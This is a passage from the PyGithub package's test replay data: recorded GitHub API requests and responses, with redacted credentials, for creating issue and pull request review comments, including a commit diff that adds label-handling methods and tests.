Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} https POST api.github.com None /repos/PyGithub/PyGithub/pulls/31/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment created by PyGithub", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "line": 5, "path": "src/github/Issue.py"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/886298')] {"updated_at":"2012-05-27T09:40:12Z","line":5,"original_position":5,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testCreateIssueComment.txt0000644000175100001660000000245714756101563025652 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/issues/31/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Issue comment created by PyGithub"} 201 [('status', '201 Created'), ('content-length', '517'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4976'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8387331'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 12:57:51 GMT'), ('etag', '"6d189ee4b6415276097b091d11a77ce0"'), ('content-type', 'application/json; charset=utf-8')] {"body":"Issue comment created by PyGithub","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-09-08T12:57:51Z","updated_at":"2012-09-08T12:57:51Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8387331","id":8387331} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testCreateMultilineReviewComment.txt0000644000175100001660000005234214756101563027704 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '19468'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"54236e7f65246e5fdb1122bd461e4a5d"'), ('date', 'Fri, 01 Jun 2012 19:43:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","deletions":1},{"changes":45,"additions":45,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","deletions":0},{"changes":35,"additions":35,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","deletions":0},{"changes":5,"additions":5,"status":"added","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","deletions":0}],"parents":[{"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"tree":{"sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d"},"message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","author":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"},"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-27T02:07:47-07:00","name":"Vincent Jacques"}},"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206.3","committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146}} https POST api.github.com None /repos/PyGithub/PyGithub/pulls/31/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment created by PyGithub", "commit_id": "8a4f306d4b223682dd19410d4a9150636ebe4206", "line": 10, "start_line": 5, "path": "src/github/Issue.py"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4953'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7ca841d45253326d61bee20c809872dc"'), ('date', 'Sun, 27 May 2012 09:40:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298')] {"updated_at":"2012-05-27T09:40:12Z","line":5,"original_position":5,"body":"CComment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testCreateMultilineReviewCommentAsSuggestion.txt0000644000175100001660000005241114756101563032235 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '19468'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"54236e7f65246e5fdb1122bd461e4a5d"'), ('date', 'Fri, 01 Jun 2012 19:43:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","stats":{"additions":131,"total":135,"deletions":4},"files":[{"changes":17,"additions":14,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","deletions":3},{"changes":7,"additions":7,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","deletions":0},{"changes":26,"additions":25,"status":"modified","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = 